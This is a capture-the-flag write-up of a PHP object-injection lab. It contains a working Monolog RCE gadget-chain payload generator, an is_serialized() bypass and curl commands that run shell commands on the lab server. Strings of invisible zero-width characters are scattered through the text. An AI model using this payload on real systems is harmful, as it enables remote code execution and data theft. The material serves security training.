← Back to Writeups
CUSTOMMediumWeb

Lab 167 — PledgeFlow

XESXOR9/2/20265 min read
#web#custom#medium#call_user_func_rce_via_process#is_serialized_bypass_via_leadi#monolog_rce8_gadget_chain_dest#php_object_injection_via_maybe#self_referencing_object_in_ser#stripslashes_deep_null_byte_en#cve-2024-8353

Lab 167 — PledgeFlow

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: call_user_func_rce_via_processors_array, is_serialized_bypass_via_leading_backslash, monolog_rce8_gadget_chain_destruct, php_object_injection_via_maybe_unserialize, self_referencing_object_in_serialization, stripslashes_deep_null_byte_encoding

Summary

Walkthrough of the CUSTOM Web Lab 167 — PledgeFlow. Task: PHP crowdfunding platform with insecure deserialization in donation form via maybe_unserialize(). Solution: Bypass is_serialized() check with leading backslash (CVE-2024-8353 style), exploit Mon

Description

PledgeFlow is a crowdfunding and fundraising platform where campaign creators can launch causes and supporters can make donations. The platform features campaign browsing, a donor dashboard, payment processing, and account management. Built with PHP (Slim Framework 4) and uses various internal classes for payment processing, validation, and configuration management. The goal is to find and exploit a vulnerability in the donation form's data processing pipeline to achieve remote code execution and read a sensitive file on the server. Reference: CVE-2024-8353 (GiveWP PHP Object Injection). ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

English summary: A PHP crowdfunding platform (Slim Framework 4 + Monolog 3.x) has an insecure deserialization vulnerability in the donation form. The maybe_unserialize() helper function calls native unserialize() on user-controlled form fields. An is_serialized() check can be bypassed using a leading backslash that gets stripped by stripslashes_deep(). The Monolog library provides a POP gadget chain for RCE.

Analysis

Tech Stack

  • PHP 8.2.26, nginx/1.25.5
  • Slim Framework 4.12 (slim/slim, slim/psr7, slim/twig-view)
  • Monolog 3.5 (monolog/monolog)
  • Custom namespace: PledgeFlow\ (autoloaded from src/) ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Vulnerability Discovery

  1. The donation form at /campaign/{id}/donate accepts fields: donor_name, donor_email, donor_title, amount, billing_address, message

  2. JavaScript source (/js/app.js) contains a revealing comment:

    Complex form fields (billing_address, donor_title) support structured data formats
    for server-side processing. See: src/helpers.php — maybe_unserialize()
    
  3. composer.json is publicly accessible at /composer.json, revealing Monolog as a dependency (POP chain source) ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

  4. The maybe_unserialize() function calls PHP's native unserialize() on user input after an is_serialized() validation check

The is_serialized() Bypass (CVE-2024-8353 Pattern)

The is_serialized() function checks if $data[1] === ':' to detect serialized strings. The bypass exploits the interaction between this check and stripslashes_deep():

  1. Prepend \ to the serialized payload: \O:28:"..."
  2. Now $data[1] is 'O' (not ':') → bypasses is_serialized() check
  3. stripslashes_deep() is applied to all form data, removing the leading \
  4. Result is valid serialized data: O:28:"..." which passes to unserialize() ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Encoding Rules for stripslashes

In payloadAfter stripslashesPurpose
\\\PHP namespace separators in class names
\0chr(0) / null byteProtected property prefix \x00*\x00
Leading \ before OremovedThe bypass mechanism itself

POP Chain: Monolog RCE8 (Monolog 3.x)

The gadget chain leverages Monolog classes available via Composer autoloading:

Monolog\Handler\GroupHandler::__destruct()
  → close() → reset()
  → foreach $this->handlers as $handler: $handler->close()
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Monolog\Handler\BufferHandler::close()
  → flush()
  → foreach $this->buffer as $record: $this->handler->handle($record)
  → (handler = self-reference via r:3, calls own handle())

BufferHandler::handle($record)
  → processRecord($record)
  → foreach $this->processors as $processor:
      $record = call_user_func($processor, $record)

Processors chain:
  1. get_object_vars($record) → returns associative array of object properties
  2. end($array) → returns the last element (command string)
  3. system($command) → Remote Code Execution!

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

The r:3 is a PHP serialization back-reference to object #3 (BufferHandler itself), creating the self-reference needed for the chain to call its own handle() method.

Solution

Step 1: Payload Construction

The serialized payload structure:

O:28:"Monolog\Handler\GroupHandler":1:{
  s:11:"\x00*\x00handlers";a:1:{
    i:0;O:29:"Monolog\Handler\BufferHandler":6:{
      s:10:"\x00*\x00handler";r:3;
      s:13:"\x00*\x00bufferSize";i:1;
      s:14:"\x00*\x00bufferLimit";i:0;
      s:9:"\x00*\x00buffer";a:1:{
        i:0;O:8:"stdClass":1:{s:9:"formatted";s:LEN:"COMMAND";}
      }
      s:14:"\x00*\x00initialized";b:1;
      s:13:"\x00*\x00processors";a:3:{
        i:0;s:15:"get_object_vars";
        i:1;s:3:"end";
        i:2;s:6:"system";
      }
    }
  }
}

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

The record object uses stdClass with a formatted property containing the command. Since get_object_vars() returns properties in declaration order and formatted is the only property, end() extracts the command string which is then passed to system().

Step 2: Payload Generator (PHP)

php
<?php
$cmd = $argv[1] ?? "id";
$null = chr(0);

$record = 'O:8:"stdClass":1:{s:9:"formatted";s:' . strlen($cmd) . ':"' . $cmd . '";}';
$processors = 'a:3:{i:0;s:15:"get_object_vars";i:1;s:3:"end";i:2;s:6:"system";}';
$buffer = 'a:1:{i:0;' . $record . '}';
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

$bh_props = 
    's:10:"' . $null . '*' . $null . 'handler";r:3;' .
    's:13:"' . $null . '*' . $null . 'bufferSize";i:1;' .
    's:14:"' . $null . '*' . $null . 'bufferLimit";i:0;' .
    's:9:"' . $null . '*' . $null . 'buffer";' . $buffer .
    's:14:"' . $null . '*' . $null . 'initialized";b:1;' .
    's:13:"' . $null . '*' . $null . 'processors";' . $processors;

$buffer_handler = 'O:29:"Monolog\Handler\BufferHandler":6:{' . $bh_props . '}';
$handlers = 'a:1:{i:0;' . $buffer_handler . '}';
$group_handler = 'O:28:"Monolog\Handler\GroupHandler":1:{s:11:"' . $null . '*' . $null . 'handlers";' . $handlers . '}';
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

// Apply stripslashes bypass encoding
$bypass = str_replace("\\", "\\\\", $group_handler);  // \ → \\ (preserved through stripslashes)
$bypass = str_replace(chr(0), "\\0", $bypass);         // null → \0 (restored by stripslashes)
$bypass = "\\" . $bypass;                               // leading \ bypasses is_serialized()

echo $bypass;

Step 3: Exploitation

bash
TARGET="https://4bf0284f-6f95-43dd-a997-17fdbf9eaf93.labs.hackadvisor.io"

# Login to get session cookie
curl -sk -c cookies.txt -L "$TARGET/login" \
  -d "email=user%40test.com&password=password123"
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

# Generate payload and send via billing_address field
PAYLOAD=$(php gen_payload.php "cat /root/flag.txt")
curl -sk -b cookies.txt "$TARGET/campaign/1/donate" \
  -d "donor_name=Exploit&donor_email=test@test.com&amount=10&message=test&donor_title=Mr." \
  --data-urlencode "billing_address=$PAYLOAD"

Key Insight: Field Selection

  • donor_title field: RCE executes via __destruct but output is hidden behind a 500 error page (the app tries to use the deserialized object as a string via __toString, which fails)
  • billing_address field: RCE executes AND output is visible in the response body (different processing path that doesn't trigger __toString) ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Key Takeaways / Lessons

  • Mastering call_user_func_rce_via_processors_array, is_serialized_bypass_via_leading_backslash, monolog_rce8_gadget_chain_destruct, php_object_injection_via_maybe_unserialize, self_referencing_object_in_serialization, stripslashes_deep_null_byte_encoding was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-06-21 • CUSTOM • Lab 167 — PledgeFlow • Difficulty: Medium